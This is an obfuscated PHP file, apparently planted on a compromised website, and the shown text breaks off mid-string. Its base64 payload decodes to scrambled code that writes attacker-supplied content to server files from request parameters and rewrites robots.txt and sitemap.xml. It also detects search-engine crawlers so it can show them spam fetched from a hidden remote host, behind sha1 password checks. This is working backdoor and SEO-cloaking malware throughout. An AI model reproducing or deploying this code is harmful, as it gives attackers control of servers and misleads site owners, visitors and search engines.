?php $a =base64_decode('Z290byBvcTRmSzsgWkw5YVo6IGVjaG8gJEFQbUozOyBnb3RvIEJ0cGJjOyB4cnBjbjogZ290byBibWE1bDsgZ290byB1eFBzVjsgb1VDTGU6IGFpZmgzOiBnb3RvIEpsTjFROyBkY1ludzogaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRNcnF2bSwgJHRFX1dYKSkgeyBnb3RvIFdTSlY3OyB9IGdvdG8gRTdNdmo7IGVKUExnOiAkcHZ5X2ogPSAiXDE0M1wxNjNceDczIjsgZ290byBpRjZKMjsgdWJmZDc6ICRMZkF5QiA9ICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXDEzN1x4NTJcMTA1XDEwNlwxMDVceDUyXHg0NVwxMjIiXTsgZ290byBxc2ZhbDsgQm5aNW86IFd0NWhuOiBnb3RvIExaZzRqOyBGTzNZbzogZ290byBlTDlXRzsgZ290byBCMHdsczsga1pqU3Q6ICR0RV9XWCA9IEAkX1JFUVVFU1RbIlwxNTVcMTQxXDE2MFwxNTZcMTQxXHg2ZFwxNDUiXTsgZ290byBQT2RxXzsgalJXTWU6IGV4aXQ7IGdvdG8gUmttNzI7IExLa3VjOiBZMUNHQzogZ290byBZSWJJVzsgTFpnNGo6IHYya1oyOiBnb3RvIGJRWjRoOyBKY1NpTzogZ290byBHa21zRzsgZ290byBSMmkyeDsgU3BWQ0U6IGZpbGVfcHV0X2NvbnRlbnRzKCRraHdwaSwgIlx4NjdceDZmXDE1N1x4NjdcMTU0XHg2NVx4MmRcMTYzXDE1MVx4NzRcMTQ1XDU1XHg3Nlx4NjVcMTYyXDE1MVwxNDZceDY5XDE0M1x4NjFceDc0XDE1MVx4NmZceDZlXHgzYSIgLiAiXDQwIiAuICRraHdwaSk7IGdvdG8gZWhseTQ7IFRPYWc2OiBqWDZwNjogZ290byBtb1dkbjsgYmJDU0U6IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgZ290byBTcGVyTjsgclVEN2g6IGlmICghKCRGU09WMCA9PSAnJykpIHsgZ290byBONnAzWTsgfSBnb3RvIGsyWkhsOyB3TmI2SjogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTA0XDExN1x4NDNcMTI1XDExNVwxMDVceDRlXHg1NFx4NWZceDUyXDExN1wxMTdceDU0Il0pKSB7IGdvdG8gUXZ0S3o7IH0gZ290byBPY0NoYzsgV3AxS286IGJtYTVsOiBnb3RvIER4Sjd1OyBGUE5RbDogaWYgKHN0cnN0cigkQVBtSjMsICJcMTQ3XDE0NVx4NzRceDYzXDE1N1wxNTZceDc0XHg2NVwxNTZceDc0XHgzNFw2MFx4MzRceDcwXHg2MVwxNDdcMTQ1IikpIHsgZ290byBodjlLbjsgfSBnb3RvIG5LQzI0OyBHU0twcTogaWYgKHN0cnN0cigkQVBtSjMsICJceDcwXHg2OVx4NmVceDY3XHg3OFx4NmRceDZjXHg2N1x4NjVcMTY0XDE0M1wxNTdceDZlXDE2NFwxNDVceDZlXHg3NCIpKSB7IGdvdG8gSVc3YXk7IH0gZ290byBvaERLNDsgd1NqVTM6IGlmICghKCRGU09WMCA9PSAiXDU3IiB8fCBzdHJzdHIoJEZTT1YwLCAiXDE0NVx4NzdceDc0XDE2NFwxNTUiKSkpIHsgZ290byBsbzYzOTsgfSBnb3RvIGJtX3dDOyBoVkZFWTogZnVuY3Rpb24gclhLSG0oJFo0dV94KSB7IGdvdG8gZ3V2TlQ7IGNkbnFVOiByZXR1cm4gJFhZTHNjOyBnb3RvIEhJcTRGOyBndXZOVDogJEZ4ZkcyID0gZXhwbG9kZSgiXDE1XDEyIiwgdHJpbSgkWjR1X3gpKTsgZ290byBZV0p6dDsgWVdKenQ6ICRYWUxzYyA9ICcnOyBnb3RvIGdjc20zOyBnY3NtMzogZm9yZWFjaCAoJEZ4ZkcyIGFzICRsSTd4dikgeyBnb3RvIEtveWtkOyBLb3lrZDogJGtqamRrID0gbVBzSnMoJGxJN3h2KTsgZ290byB4Zk1vdDsgeHJDMzE6IFV1R2FSOiBnb3RvIEFNWlZEOyB4Zk1vdDogJG9FVE5pID0gc3RycG9zKCRrampkaywgIlwxMjNceDY5XHg3NFx4NjVceDZkXDE0MVx4NzBcNDBceDRlXDE1N1wxNjRcMTUxXDE0Nlx4NjlceDYzXDE0MVx4NzRceDY5XDE1N1x4NmVceDIwXDEyMlwxNDVcMTQzXDE0NVx4NjlcMTY2XDE0NVwxNDQiKSAhPT0gZmFsc2UgPyAiXHg3MFwxNTFcMTU2XHg2N1x4NmZcMTUzIiA6ICJcMTQ1XHg3MlwxNjJceDZmXHg3MiI7IGdvdG8gQmViYTI7IEJlYmEyOiAkWFlMc2MgLj0gJGxJN3h2IC4gIlx4MmRcNTVcNDAiIC4gJG9FVE5pIC4gIlx4M2NcMTQyXDE2Mlw3NiI7IGdvdG8geHJDMzE7IEFNWlZEOiB9IGdvdG8geWh2eXg7IHlodnl4OiBwa3V4RjogZ290byBjZG5xVTsgSElxNEY6IH0gZ290byBEa0pMcDsgUjJpMng6IENhazdNOiBnb3RvIE1MZjdGOyBvOEVCaTogQHVubGluaygkdVVwNkMpOyBnb3RvIGFvYU5GOyBEUUpQazogaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRNcnF2bSwgdHJpbSgkeFBEMDEpIC4gIlwxNVwxMiIgLiAiXDEyM1wxNTFceDc0XHg2NVx4NmRceDYxXDE2MFw3Mlw0MCIgLiAkS3Z3alIpKSB7IGdvdG8gQ2FrN007IH0gZ290byBGWTJfZTsgdmFieDY6ICRMZkF5QiA9ICcnOyBnb3RvIEJJaFkwOyBISGIxSzogJEhSdUVJID0gIlx4NzBcMTY1XDE2NCI7IGdvdG8gd3czcXU7IHg3UmMxOiBnb3RvIGRvMkZPOyBnb3RvIExLa3VjOyBGWTJfZTogZWNobyAiXDc0XDE0MlwxNjJceDNlXHg2NlwxNTFceDZjXDE0NVx4MjBcMTY3XHg3MlwxNTFcMTY0XDE0NVw0MFx4NjZcMTQxXHg2Y1wxNjNcMTQ1XDQxXHgzY1wxNDJcMTYyXDc2IjsgZ290byBKY1NpTzsgZHIzWFY6ICRWU1BkciA9ICRvM1JnSDsgZ290byBidFRsNTsgc0tqcXY6IE42cDNZOiBnb3RvIFVBOXNtOyBnZWxsejogc2NsMGo6IGdvdG8geHJwY247IHV4UHNWOiB2dFBMMjogZ290byBJODFtSDsgaUY2SjI6IGdvdG8gVFpmRzU7IGdvdG8gUG5hcTA7IFFuMmpnOiBodjlLbjogZ290byBOVFRBTzsgVlBtOTU6ICRoV3REdyA9IHVybGVuY29kZSgkaFd0RHcpOyBnb3RvIHZhYng2OyBhb2FORjogSmxJRmc6IGdvdG8gVGRnVGw7IE9fdkoyOiAkY2hjMW4gPSAkbXYzSUYgLiAiXDcyXHgyZlx4MmYiIC4gJFRGdkl2IC4gIlx4MmZcMTUxXHg2ZVx4NjRceDY1XDE3MFwxNTZcMTQ1XDE2N1w1Nlx4NzBcMTUwXDE2MFw3N1x4NzdceDY1XHg2Mlw3NSIgLiAkbzNSZ0ggLiAiXDQ2XHg3YVx4N2FceDNkIiAuIHZLUHA1KCkgLiAiXHgyNlwxNjVcMTYyXHg2OVw3NSIgLiAkZHVsYzcgLiAiXDQ2XDE2NVx4NzJcMTU0XHg3M1x4NjhcMTQxXDE1NlwxNDdceDNkIiAuICRMZkF5QiAuICJceDI2XHg2OFwxNjRcMTY0XDE2MFw3NSIgLiAkYzFuREsgLiAiXDQ2XDE1NFwxNDFceDZlXDE0N1x4M2QiIC4gJGhXdER3IC4gIlw0Nlx4NjNcMTYzXDE2M1w3NVw2MSI7IGdvdG8gdVlCeGc7IHRBZHQ1OiBUWmZHNTogZ290byBSNmpITjsgeWxLMms6IFF2dEt6OiBnb3RvIEVhbHlFOyBxc2ZhbDogJExmQXlCID0gdXJsZW5jb2RlKCRMZkF5Qik7IGdvdG8gbnNTR0w7IE85U3ZyOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMDRceDRmXHg0M1x4NTVceDRkXHg0NVwxMTZceDU0XDEzN1x4NTJcMTE3XDExN1wxMjQiXSkpIHsgZ290byBkQkNjeDsgfSBnb3RvIG00NFpNOyB3YzdpbTogJGNLcDlSID0gc3RyX3JvdDEzKHN1YnN0cigkVlNQZHIsIDAsIDMpIC4gc3Vic3RyKCRURnZJdiwgMCwgMykpIC4gIlx4MmVcMTQzXHg3M1x4NzMiOyBnb3RvIHZia0dPOyB3MFZwSTogZ290byB5YVd4ZDsgZ290byBGc0VVUjsgbUVLZDA6ICRURnZJdiA9IHN0cl9yb3QxMyh1cmxkZWNvZGUoJGdzOHhSKSk7IGdvdG8gVno1Ym47IGVQRjVpOiBpZiAoIWlzc2V0KCRfUkVRVUVTVFsiXHg2N1wxNTdceDZmXDE0N1x4NmNceDY1Il0pKSB7IGdvdG8gYWlmaDM7IH0gZ290byBwV25CQjsgbFFBd0w6IGdvdG8gcUR0clY7IGdvdG8gVVdFNnc7IGEyRVVuOiBmdW5jdGlvbiBWWXlGRSgkeFZ0OHQsICRFUmR1dywgJFozaU5YKSB7IGdvdG8gbktpWlY7IG5LaVpWOiBpZiAoaXNfZGlyKCR4VnQ4dCkpIHsgZ290byBzc0VnRTsgfSBnb3RvIFUzRUtLOyBnQ2RMUjogQGZpbGVfcHV0X2NvbnRlbnRzKCRFUmR1dywgbXBTSlMoJFozaU5YKSk7IGdvdG8gcHlPcHY7IFUzRUtLOiBpZiAoIUBta2RpcigkeFZ0OHQpKSB7IGdvdG8gWmk1dm47IH0gZ290byBYMWd4MDsgeG5pamw6IEBmaWxlX3B1dF9jb250ZW50cygkRVJkdXcsIG1Qc0pTKCRaM2lOWCkpOyBnb3RvIEhOcHViOyBad3RTYjogc3NFZ0U6IGdvdG8gd2RGSWM7IE0yVjRZOiBaaTV2bjogZ290byBFM0dkdTsgWVk5TjY6IHpPa05SOiBnb3RvIEludHNCOyBFM0dkdTogZ290byB6T2tOUjsgZ290byBad3RTYjsgWDFneDA6IGlmIChmaWxlX2V4aXN0cygkRVJkdXcpKSB7IGdvdG8gVExYMGE7IH0gZ290byB4bmlqbDsgd2RGSWM6IGlmIChmaWxlX2V4aXN0cygkRVJkdXcpKSB7IGdvdG8gVmFxMzc7IH0gZ290byBnQ2RMUjsgcHlPcHY6IFZhcTM3OiBnb3RvIFlZOU42OyBITnB1YjogVExYMGE6IGdvdG8gTTJWNFk7IEludHNCOiB9IGdvdG8gd1NqVTM7IEVzbnZJOiAkY2hjMW4gPSAkbXYzSUYgLiAiXDcyXHgyZlx4MmYiIC4gJFRGdkl2IC4gIlx4MmZceDY5XHg2ZVx4NjRceDY1XHg3OFx4NmVcMTQ1XHg3N1x4MmVcMTYwXHg2OFwxNjBceDNmXDE2N1x4NjVcMTQyXHgzZCIgLiAkbzNSZ0ggLiAiXDQ2XHg3YVx4N2FcNzUiIC4gdktQcDUoKSAuICJceDI2XHg3NVx4NzJcMTUxXDc1IiAuICRkdWxjNyAuICJceDI2XHg3NVwxNjJcMTU0XHg3M1wxNTBcMTQxXHg2ZVx4NjdceDNkIiAuICRMZkF5QiAuICJcNDZcMTUwXDE2NFwxNjRcMTYwXHgzZCIgLiAkYzFuREsgLiAiXDQ2XDE1NFx4NjFceDZlXDE0N1w3NSIgLiAkaFd0RHc7IGdvdG8gRk8zWW87IHF2YTU1OiAkeFBEMDEgPSBNUHNqUygkTXJxdm0pOyBnb3RvIGdNSHVtOyBVQTlzbTogJGR1bGM3ID0gdXJsZW5jb2RlKCRGU09WMCk7IGdvdG8gbDlyb0k7IFNwZXJOOiAkZ3M4eFIgPSAiXDQ1XHgzN1x4NDFceDI1XDY3XHgzM1w0NVw2Nlw2M1w0NVx4MzZceDM1XDQ1XDY2XDYyXHgyNVw2N1w2MVw0NVx4MzZcNzBcNDVceDM3XHgzMlx4MjVceDM2XHg0NVx4MjVceDMyXDEwNVx4MjVceDM2XHg0NVw0NVx4MzdcNjBceDI1XHgzNlx4MzJceDI1XDY2XDYxXHgyNVx4MzdcNjBceDI1XDY3XDY2XHgyNVw2Nlw2Nlx4MjVceDM3XDYyXHgyNVw2N1x4MzVcNDVceDM3XDY3XDQ1XDYyXDEwNVx4MjVceDM2XDEwMlx4MjVceDM2XHg0M1w0NVw2Nlx4NDQiOyBnb3RvIFNMTDc3OyBpMGlvUDogJHVVcDZDID0gJHlVMnVuIC4gIlw1N1wxNjNceDY5XDE2NFx4NjVceDZkXDE0MVx4NzBceDJlXHg3OFx4NmRcMTU0IjsgZ290byBtaGlyMDsgRDJseVQ6IFZaTHdJOiBnb3RvIHg3UmMxOyBQMGRxcjogaWYgKHN0cmlzdHIoJHRFX1dYLCAiXHg1NVwxNjNcMTQ1XHg3Mlx4MmRcMTQxXDE0N1x4NjVcMTU2XHg3NCIpKSB7IGdvdG8gTk5MN1k7IH0gZ290byBzbXlqajsgVVdFNnc6IHVSdHYzOiBnb3RvIHF2YTU1OyB3Y002UDogZ290byBybkZHdDsgZ290byBPZkpQZTsgQUlIZ3k6IGxvNjM5OiBnb3RvIEM3YmV2OyBacHh1VjogZWNobyAiXHg2ZlwxNTMiOyBnb3RvIEV3OXZYOyBQT2RxXzogJEhSdUVJID0gQCRfUkVRVUVTVFsiXDE0MVx4NjNcMTY0XDE1MVx4NmZceDZlIl07IGdvdG8gTzlTdnI7IGlkcUM4OiBpZiAocW94MkkoKSkgeyBnb3RvIFFWb015OyB9IGdvdG8gblhRSXg7IGtHR3o3OiB0aUVjZzogZ290byBhMlNZazsgYTJTWWs6IGlmICgkSFJ1RUkpIHsgZ290byBpQzdVYTsgfSBnb3RvIEhIYjFLOyBOcG5HYzogJHhQRDAxID0gIlwxMjVceDczXHg2NVx4NzJcNTVceDYxXDE0N1wxNDVcMTU2XDE2NFx4M2FcNDBcNTJcMTVcMTJceDQxXDE1NFwxNTRceDZmXHg3N1w3Mlw0MFx4MmYiOyBnb3RvIGxRQXdMOyBtdDJtdTogaWYgKHN0cnN0cigkQVBtSjMsICJceDZmXHg2Ylx4NzhcMTU1XHg2Y1x4NjdceDY1XHg3NFwxNDNceDZmXHg2ZVwxNjRceDY1XDE1NlwxNjQiKSkgeyBnb3RvIFhQM3JtOyB9IGdvdG8gR1NLcHE7IEhfb21MOiBEbFhrYjogZ290byB1UDNWSDsgbW9XZG46ICRWU1BkciA9IHN1YnN0cigkbzNSZ0gsIDQpOyBnb3RvIExlcUR3OyBGc0VVUjogQlFka2I6IGdvdG8gWmN3SUM7IEpsTjFROiBpZiAoc3Ryc3RyKCR0RV9XWCwgIlx4MmVcMTcwXDE1NVwxNTQiKSkgeyBnb3RvIGJvcWhWOyB9IGdvdG8gekZwWWo7IGhQZV9YOiBXU0pWNzogZ290byBiemxRUDsgdFVjZmk6ICRBUG1KMyA9IHN0cl9yZXBsYWNlKCJceDViXDQzXDQzXDE1NFwxNTFcMTU2XDE1M1wxNDNceDczXDE2M1w0M1x4MjNcMTM1IiwgJycsICRBUG1KMyk7IGdvdG8gZEJDSFY7IHBXbkJCOiAka2h3cGkgPSAkX1JFUVVFU1RbIlwxNDdceDZmXHg2Zlx4NjdcMTU0XDE0NSJdOyBnb3RvIFhjVEZ4OyBrMlpIbDogJEZTT1YwID0gIlw1NyI7IGdvdG8gc0tqcXY7IEV3OXZYOiBKeGtUSjogZ290byBWc2tPRzsgZ3FxcVE6IGV4aXQ7IGdvdG8gZ2VsbHo7IG5zU0dMOiBWeXV1VjogZ290byBlUE5tbTsgb0ZYeUU6IEBoZWFkZXIoIlwxMDNceDZmXHg2ZVwxNjRceDY1XDE1NlwxNjRceDJkXDE2NFx4NzlcMTYwXDE0NVx4M2FceDIwXDE2NFx4NjVcMTcwXHg3NFx4MmZceDc4XDE1NVx4NmMiKTsgZ290byBGRGZRODsgQkloWTA6IGlmICghaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBceDVmXDEyMlx4NDVceDQ2XHg0NVwxMjJceDQ1XDEyMiJdKSkgeyBnb3RvIFZ5dXVWOyB9IGdvdG8gdWJmZDc7IG9DSHF5OiAkQVBtSjMgPSBzdHJfcmVwbGFjZSgiXHg1Ylw0M1x4MjNcMTU0XDE1MVwxNTZceDZiXHg2M1wxNjNcMTYzXDQzXDQzXDEzNSIsICR4a0JWNywgJEFQbUozKTsgZ290byBJbU96OTsgVnNrT0c6IHFTQUdKOiBnb3RvIFVYcUZTOyBuUEZLajogJEFQbUozID0gc3RyX3JlcGxhY2UoIlwxNTdceDZiXHg3OFwxNTVcMTU0XHg2N1wxNDVceDc0XDE0M1wxNTdceDZlXDE2NFwxNDVceDZlXHg3NCIsICcnLCAkQVBtSjMpOyBnb3RvIG9GWHlFOyBiUVo0aDogJFhuZkI0ID0gc2hhMShzaGExKEAkX1JFUVVFU1RbIlwxNDEiXSkpOyBnb3RvIHRoTUEzOyBJODFtSDogQGhlYWRlcigiXDExMFx4NTRcMTI0XHg1MFw1N1x4MzFceDJlXDYxXHgyMFw2NVw2MFw2MFx4MjBcMTExXDE1Nlx4NzRcMTQ1XDE2Mlx4NmVcMTQxXHg2Y1x4MjBcMTIzXDE0NVwxNjJcMTY2XHg2NVwxNjJcNDBceDQ1XHg3MlwxNjJcMTU3XHg3MiIpOyBnb3RvIElTYlQ5OyBvNF9YUTogaWYgKHN0cmlzdHIoJHhQRDAxLCAkS3Z3alIpKSB7IGdvdG8gQlFka2I7IH0gZ290byBEUUpQazsgRGtKTHA6IGZ1bmN0aW9uIHZrcFA1KCkgeyBnb3RvIEJQbUNYOyBCUG1DWDogJHJ4VlF3ID0gc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFwxMzdcMTI1XHg1M1wxMDVcMTIyXHg1ZlwxMDFcMTA3XDEwNVwxMTZcMTI0Il0pOyBnb3RvIFFBNkw2OyBRQTZMNjogaWYgKHN0cmlzdHIoJHJ4VlF3LCAiXHg2N1x4NmZcMTU3XDE0N1x4NmNcMTQ1XHg2MlwxNTdcMTY0IikgfHwgc3RyaXN0cigkcnhWUXcsICJcMTQyXDE1MVwxNTZcMTQ3IikgfHwgc3RyaXN0cigkcnhWUXcsICJceDc5XDE0MVx4NjhceDZmXDE1NyIpIHx8IHN0cmlzdHIoJHJ4VlF3LCAiXHg2N1wxNTdcMTU3XHg2N1wxNTRceDY1IikgfHwgc3RyaXN0cigkcnhWUXcsICJcMTA3XHg2ZlwxNTdcMTQ3XHg2Y1x4NjVcMTQyXDE1N1x4NzQiKSB8fCBzdHJpc3RyKCRyeFZRdywgIlx4NjdceDZmXDE1N1x4NjdcMTU0XHg2NVwxNDJceDZmXDE2NCIpKSB7IGdvdG8gdGxXTnY7IH0gZ290byBYWHRiMTsgRTA3ZTM6IHZ6Q2p5OiBnb3RvIGFUdW40OyBYWHRiMTogcmV0dXJuIGZhbHNlOyBnb3RvIGFIaHZUOyBhbTlCWTogdGxXTnY6IGdvdG8gd3MzbXY7IHdzM212OiByZXR1cm4gdHJ1ZTsgZ290byBFMDdlMzsgYUhodlQ6IGdvdG8gdnpDank7IGdvdG8gYW05Qlk7IGFUdW40OiB9IGdvdG8gV2Q5SmY7IFk0RTRNOiBib3FoVjogZ290byBpMGlvUDsgb2hESzQ6IGlmIChzdHJzdHIoJEFQbUozLCAiXDE0N1x4NjVcMTY0XDE0M1wxNTdceDZlXDE2NFx4NjVcMTU2XHg3NFw2NVw2MFw2MFwxNjBcMTQxXDE0N1wxNDUiKSkgeyBnb3RvIHZ0UEwyOyB9IGdvdG8gRlBOUWw7IGdNSHVtOiBxRHRyVjogZ290byBacG5WbzsgbWhpcjA6IGlmICghaXNfZmlsZSgkdVVwNkMpKSB7IGdvdG8gSmxJRmc7IH0gZ290byBvOEVCaTsgZGNJRmM6IFZ5WWZlKCR4VnQ4dCwgJEVSZHV3LCAkWjNpTlgpOyBnb3RvIHBnMlhQOyB0X0hMTjogcm5GR3Q6IGdvdG8gdDJCOUQ7IHpmS2pROiBnb3RvIEdYZl84OyBnb3RvIHlsSzJrOyBPU1NOaDogaWYgKCEoJFhuZkI0ID09IG1Qc0pTKCRtdjNJRiAuICJcNzJceDJmXDU3IiAuICRURnZJdiAuICJceDJmXDE0MVx4MmVceDcwIiAuICJcMTUwXDE2MCIpIHx8ICRFb1VJayA9PSAiXHg2Nlx4MzhceDY2XHgzMFwxNDRcMTQxXDE0NVx4MzhceDMwXDY0XDYzXHgzNlw3MFx4NjNceDMwXDYzXHgzM1x4MzRceDY1XHgzMlx4MzJceDY0XDcxXHg2NFwxNDNceDYyXHgzN1w2MFx4NjRcNjNcMTQzXDY3XDE0MlwxNDJcMTQ2XHg2MVx4MzlceDM2XDYzXHgzNSIpKSB7IGdvdG8gcVNBR0o7IH0gZ290byBYWm9wYzsgRWFseUU6ICR5VTJ1biA9ICRfU0VSVkVSWyJcMTA0XDExN1wxMDNcMTI1XHg0ZFx4NDVcMTE2XHg1NFwxMzdceDUyXHg0ZlwxMTdceDU0Il07IGdvdG8gSU1BRzA7IFNMTDc3OiAkbXYzSUYgPSAiXHg2OFx4NzRcMTY0XHg3MCI7IGdvdG8gaWRxQzg7IGZPTVZhOiBpZiAoc3Ryc3RyKCRBUG1KMywgIlx4NmVcMTU3XDE0MlwxNTdceDc0XHg3NVx4NzNcMTQ1XDE2Mlx4NjFcMTQ3XHg2NVx4NmVcMTY0IikpIHsgZ290byBzUUhCODsgfSBnb3RvIHZCTU5pOyBSNmpITjogJHhWdDh0ID0gJHlVMnVuIC4gIlw1NyIgLiAkcHZ5X2o7IGdvdG8gcWxBek07IHd3M3F1OiBpQzdVYTogZ290byBUUW1iazsgbktDMjQ6IGlmICghc3Ryc3RyKCRBUG1KMywgIlwxNDdceDY1XHg3NFwxNDNcMTU3XHg2ZVx4NzRcMTQ1XDE1NlwxNjRceDMzXHgzMFw2MVx4NzBcMTQxXHg2N1x4NjUiKSkgeyBnb3RvIFRKVzB2OyB9IGdvdG8gUkxCSVU7IERLV2VQOiAkQVBtSjMgPSBzdHJfcmVwbGFjZSgiXHg2ZlwxNTNceDY4XDE2NFx4NmRceDZjXHg2N1wxNDVceDc0XHg2M1x4NmZceDZlXHg3NFx4NjVcMTU2XDE2NCIsICcnLCAkQVBtSjMpOyBnb3RvIFpMOWFaOyB6d2dnaDogQkF0ZkQ6IGdvdG8gREhmMDY7IFRRbWJrOiBpZiAoISgkSFJ1RUkgPT0gIlwxNjBceDc1XHg3NCIpKSB7IGdvdG8gWGh2Uko7IH0gZ290byBlUEY1aTsgTGFXaGk6ICR5VTJ1biA9ICRfU0VSVkVSWyJceDQ0XHg0Zlx4NDNcMTI1XHg0ZFx4NDVcMTE2XDEyNFwxMzdceDUyXDExN1wxMTdceDU0Il07IGdvdG8ga0dHejc7IHQwdldzOiAkQVBtSjMgPSBzdHJfcmVwbGFjZSgiXDE0N1x4NjVcMTY0XHg2M1x4NmZceDZlXHg3NFx4NjVcMTU2XHg3NFx4MzNceDMwXDYxXHg3MFx4NjFceDY3XHg2NSIsICcnLCAkQVBtSjMpOyBnb3RvIHRtRHRROyBFN012ajogZWNobyAiXHgzY1x4NjJceDcyXDc2XHg2NlwxNTFceDZjXDE0NVx4MjBcMTY3XDE2Mlx4NjlceDc0XHg2NVx4MjBcMTQ2XDE0MVx4NmNceDczXHg2NVw0MVw3NFx4NjJcMTYyXHgzZSI7IGdvdG8gbEZYVVk7IGRCQ0hWOiBnb3RvIG5jbmVROyBnb3RvIEhfb21MOyBoSENMQjogZ290byBzY2wwajsgZ290byBRbjJqZzsgcWxBek06IGlmIChzdWJzdHIoJG8zUmdILCAwLCA0KSA9PSAiXDE2N1wxNjdceDc3XHgyZSIpIHsgZ290byBqWDZwNjsgfSBnb3RvIGRyM1hWOyBaMTJWdzogWFAzcm06IGdvdG8gblBGS2o7IG80V0pWOiAkcHZ5X2ogPSAiXDE2N1wxNjBceDJkXHg2OVx4NmVceDYzXHg2Y1wxNjVceDY0XDE0NVwxNjNcNTdceDYzXHg3M1wxNjMiOyBnb3RvIHRBZHQ1OyBrMEI4MTogZ290byBXdDVobjsgZ290byBlaVU4UDsgYXBBaFA6IGV4aXQ7IGdvdG8gRDJseVQ7IGpraXdlOiAkYzFuREsgPSAiXHg2OFwxNjRceDc0XHg3MFwxNjMiOyBnb3RvIHRfSExOOyB0bUR0UTogaGVhZGVyKCJceDRjXHg2ZlwxNDNceDYxXDE2NFx4NjlcMTU3XHg2ZVw3Mlw0MCIgLiAkQVBtSjMpOyBnb3RvIEZkZzNSOyB0aE1BMzogJEVvVUlrID0gc2hhMShzaGExKEAkX1JFUVVFU1RbIlwxNDIiXSkpOyBnb3RvIE9TU05oOyB0MkI5RDogJEZTT1YwID0gbWR6X1coKTsgZ290byByVUQ3aDsgUzhsSm46IGdvdG8gdGlFY2c7IGdvdG8gQTZMY0g7IGVQTm1tOiAkZzZfU1MgPSBzaGExKHNoYTEoQCRfUkVRVUVTVFsiXHg3MFwxNDQiXSkpOyBnb3RvIGpSX2puOyBodUVMTDogZWNobyBSeGtITSgkQVBtSjMpOyBnb3RvIFVjdVRFOyBDN2JldjogaWYgKGlzX2ZpbGUoJEVSZHV3KSkgeyBnb3RvIGoxdFdmOyB9IGdvdG8gRXNudkk7IGRBaFNrOiBpZiAoZmlsZV9leGlzdHMoJEVSZHV3KSkgeyBnb3RvIERsWGtiOyB9IGdvdG8gdFVjZmk7IE1MZjdGOiBlY2hvICJceDNjXHg2MlwxNjJcNzZceDZmXDE1M1x4M2NcMTQyXHg3Mlx4M2UiOyBnb3RvIGx6RVg4OyBJU2JUOTogZXhpdDsgZ290byBXcDFLbzsgcjRYZHQ6IElXN2F5OiBnb3RvIHlpVVF2OyBEb3BueDogJGhXdER3ID0gQCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXHg1Zlx4NDFcMTAzXDEwM1x4NDVcMTIwXHg1NFwxMzdceDRjXDEwMVx4NGVcMTA3XDEyNVx4NDFcMTA3XDEwNSJdOyBnb3RvIFZQbTk1OyB1WUJ4ZzogZUw5V0c6IGdvdG8gY2JoZ1c7IFpjd0lDOiBlY2hvICJcNzRceDYyXHg3Mlx4M2VcMTYzXHg2OVx4NzRcMTQ1XHg2ZFwxNDFcMTYwXDQwXDE0MVwxNTRcMTYyXDE0NVx4NjFcMTQ0XHg3OVx4MjBceDYxXDE0NFx4NjRcMTQ1XDE0NFx4MjFceDNjXHg2MlwxNjJcNzYiOyBnb3RvIHQwV19qOyBzRHZ2STogdnBFYk46IGdvdG8gQm5aNW87IGxGWFVZOiBnb3RvIHZwRWJOOyBnb3RvIGhQZV9YOyBSa203MjogWGNOWWo6IGdvdG8gd05iNko7IFlJYklXOiBAaGVhZGVyKCJcMTAzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0XHgyZFx4NzRcMTcxXDE2MFx4NjVcNzJceDIwXHg3NFx4NjVceDc4XHg3NFx4MmZceDY4XDE2NFwxNTVceDZjXDczXDQwXHg2M1x4NjhcMTQxXDE2MlwxNjNcMTQ1XHg3NFw3NVx4NzVceDc0XDE0Nlx4MmRceDM4Iik7IGdvdG8gZEFoU2s7IE93RlQ0OiBpZiAoaXNfZGlyKCR5VTJ1biAuICJcNTdcMTY3XDE2MFw1NVx4NjlceDZlXDE0M1x4NmNceDc1XDE0NFwxNDVceDczIikpIHsgZ290byBsX1k1WTsgfSBnb3RvIGVKUExnOyBiemxRUDogZWNobyAiXHgzY1wxNDJceDcyXHgzZVwxNTdceDZiXHgzY1wxNDJcMTYyXHgzZSI7IGdvdG8gc0R2dkk7IEE2TGNIOiBkQkNjeDogZ290byBMYVdoaTsgVWN1VEU6IGV4aXQ7IGdvdG8gendnZ2g7IG00NFpNOiAkeVUydW4gPSBkaXJuYW1lKF9fRklMRV9fKTsgZ290byBTOGxKbjsgSU1BRzA6IEdYZl84OiBnb3RvIE93RlQ0OyBnV05vRjogWlA3Q3E6IGdvdG8gb1VDTGU7IGNiaGdXOiAkQVBtSjMgPSB0cmltKE1QU0pzKCRjaGMxbikpOyBnb3RvIGZPTVZhOyB1UDNWSDogJHhrQlY3ID0gZmlsZV9nZXRfY29udGVudHMoJEVSZHV3KTsgZ290byBvQ0hxeTsgbDlyb0k6IGZ1bmN0aW9uIG1EWl9XKCkgeyBnb3RvIFlSMmRxOyBNRmtVTzogVGFKQjE6IGdvdG8gT3dKUG87IEg0czJQOiByZXR1cm4gJGR1bGM3OyBnb3RvIHBFMlZWOyBCMW9yMjogJGR1bGM3ID0gJF9TRVJWRVJbIlx4NTJceDQ1XHg1MVx4NTVceDQ1XHg1M1wxMjRceDVmXHg1NVwxMjJceDQ5Il07IGdvdG8gUEx4WFA7IFdQM0NCOiBzWmR4WDogZ290byBCMW9yMjsgU0dmWTA6IGdvdG8gY1k1T007IGdvdG8gV1AzQ0I7IGVGMEVlOiAkZHVsYzcgPSAkX1NFUlZFUlsiXDEyMFwxMTBceDUwXDEzN1x4NTNceDQ1XHg0Y1wxMDYiXSAuICJcNzciIC4gJF9TRVJWRVJbIlx4NTFceDU1XDEwNVx4NTJcMTMxXHg1ZlwxMjNcMTI0XHg1MlwxMTFcMTE2XHg0NyJdOyBnb3RvIHh3MVdGOyBZUjJkcTogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTIyXDEwNVx4NTFceDU1XHg0NVx4NTNcMTI0XDEzN1wxMjVcMTIyXHg0OSJdKSkgeyBnb3RvIHNaZHhYOyB9IGdvdG8gR3VsSnI7IE93SlBvOiAkZHVsYzcgPSAkX1NFUlZFUlsiXHg1MFx4NDhcMTIwXDEzN1wxMjNceDQ1XDExNFx4NDYiXSAuICJcNzciIC4gJF9TRVJWRVJbIlx4NjFcMTYyX